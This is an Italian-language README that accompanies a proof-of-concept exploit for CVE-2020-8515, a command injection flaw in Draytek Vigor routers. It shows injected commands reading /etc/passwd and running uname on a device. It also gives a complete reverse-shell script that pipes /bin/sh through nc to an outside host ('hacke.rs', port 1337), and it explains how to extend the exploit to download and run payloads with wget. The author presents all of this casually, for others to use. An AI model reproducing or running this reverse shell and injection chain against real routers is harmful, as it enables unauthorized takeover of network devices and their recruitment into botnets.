
Draytek CVE-2020-8515 PoC
PoC di Draytek per CVE-2020-8515 che avevo in giro.
Divertentemente, il comando iniettato viene eseguito due volte, vedi qui:
$ ./draytek.py draytek.local
(>) executing command: cat /etc/passwd
(+) vulnerable!
(>) executing command: uname -a
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Linux Vigor3900 2.6.33.5 #1 Wed Mar 28 00:49:28 CST 2018 armv6l unknown
Avevo dei piani per rifinirlo per bene, ma onestamente, è passato tipo un anno e non ricordo più quali fossero quei piani, quindi ecco a voi. Non è difficile aggiungere roba come wget/chmod/exec, basta guardare nella funzione "do_stuff".
Se scaricate con wget ed eseguite uno script come il seguente, ottenete una reverse shell:
#!/bin/sh
HOST="hacke.rs"
PORT=1337
rm -f /tmp/a; mkfifo /tmp/a; nc $HOST $PORT 0</tmp/a | /bin/sh >/tmp/a 2>&1; rm /tmp/a
Penso che si possa anche caricare via echo uno script simile se riuscite a bypassare i caratteri proibiti nell'iniezione, magari lo aggiungo dopo - ma il problema della doppia esecuzione lo rende piuttosto noioso. Per ora è un po' a metà, "decide l'utente".
Questo exploit non causerà molti danni in natura, tutti i dispositivi vulnerabili sono probabilmente già stati cooptati da botnet DDoS di script kiddies.
Per la scansione: usate il template nuclei creato da qualcuno